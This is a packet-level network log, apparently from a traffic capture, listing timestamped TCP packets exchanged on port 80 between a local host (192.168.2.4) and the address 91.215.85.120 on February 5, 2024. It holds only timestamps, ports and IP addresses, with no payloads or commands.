Feb 5, 2024 10:57:26.776770115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776772976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776787996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776797056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776807070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776809931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776824951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776827097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776844025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776851892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776864052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776869059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776879072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776880980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776900053 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776905060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776915073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776916981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776935101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776937962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776951075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776951075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776971102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.776976109 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776987076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.776988983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:26.777009010 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:26.777020931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016558886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016622066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016661882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016700029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016729116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016729116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016741991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016779900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016812086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016819954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016834974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016860962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016865969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016901970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016912937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016940117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.016953945 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.016978979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017007113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017019033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017029047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017056942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017071009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017096043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017112017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017134905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017151117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017174006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017187119 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017213106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017224073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017251015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017261028 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017290115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017301083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017328978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017343998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017390013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017394066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017427921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017435074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017477989 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017486095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017524958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017545938 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017564058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017574072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017601967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017627954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017641068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017666101 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017678976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017692089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017718077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017731905 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017756939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017769098 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017796993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017811060 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017834902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017847061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017874002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017880917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017924070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.017927885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017968893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.017982960 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018007994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018023014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018045902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018059969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018084049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018098116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018127918 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018134117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018167019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018179893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018205881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018218040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018244982 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018254042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018284082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018304110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018323898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018337965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018362999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018374920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018402100 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018414974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018441916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018451929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018481970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018496037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018521070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018527031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018558979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018569946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018596888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018608093 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018634081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018661976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018673897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018682957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018712997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018718958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018750906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018758059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018790960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018800974 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018827915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018842936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018867970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018887043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018906116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018932104 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018944979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018951893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.018984079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.018995047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019022942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019049883 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019059896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019071102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019098997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019104958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019136906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019150019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019176006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019187927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019215107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019232035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019254923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019264936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019293070 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019305944 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019331932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019342899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019370079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019381046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019407988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019419909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019447088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019457102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019484997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019499063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019524097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019547939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019562006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019565105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019601107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019607067 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019639015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019651890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019675970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019690037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019715071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019723892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019753933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019782066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019792080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019802094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019829988 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019845963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019870996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019875050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019911051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019925117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019948959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019962072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.019988060 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.019998074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020025015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020035982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020062923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020072937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020102024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020114899 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020139933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020173073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020176888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020195961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020216942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020220041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020256996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020268917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020296097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020308018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020334005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020348072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020373106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020384073 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020411968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020426035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020450115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020462036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020504951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020519018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020543098 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020569086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020581007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020601988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020617962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020631075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020659924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020669937 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020699024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020706892 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020736933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020744085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020776033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020787954 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020814896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020843983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020855904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020862103 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020896912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020910978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020936012 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020968914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.020973921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.020992994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021013021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021045923 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021049023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021070004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021090031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021101952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021127939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021142006 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021167994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021181107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021205902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021219969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021245003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021258116 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021284103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021312952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021322966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021336079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021361113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021370888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021399021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021414042 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021437883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021450043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021476030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021514893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021524906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021552086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021563053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021580935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021591902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021608114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021630049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021646023 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021668911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021684885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021711111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021724939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021749020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021769047 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021786928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021806002 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021826029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021833897 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021864891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021922112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021931887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.021960974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.021975040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022000074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022016048 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022039890 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022047043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022078037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022089958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022114992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022121906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022154093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022162914 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022192001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022205114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022228956 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022242069 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022268057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022277117 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022306919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022324085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022345066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022356987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022383928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022392035 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022420883 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022429943 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022459030 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022466898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022496939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022510052 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022535086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022543907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022572041 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022582054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022609949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022620916 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022648096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022659063 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022691965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022696018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022728920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022737980 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:27.022768021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:27.022777081 CET	49735	80	192.168.2.4	91.215.85.120
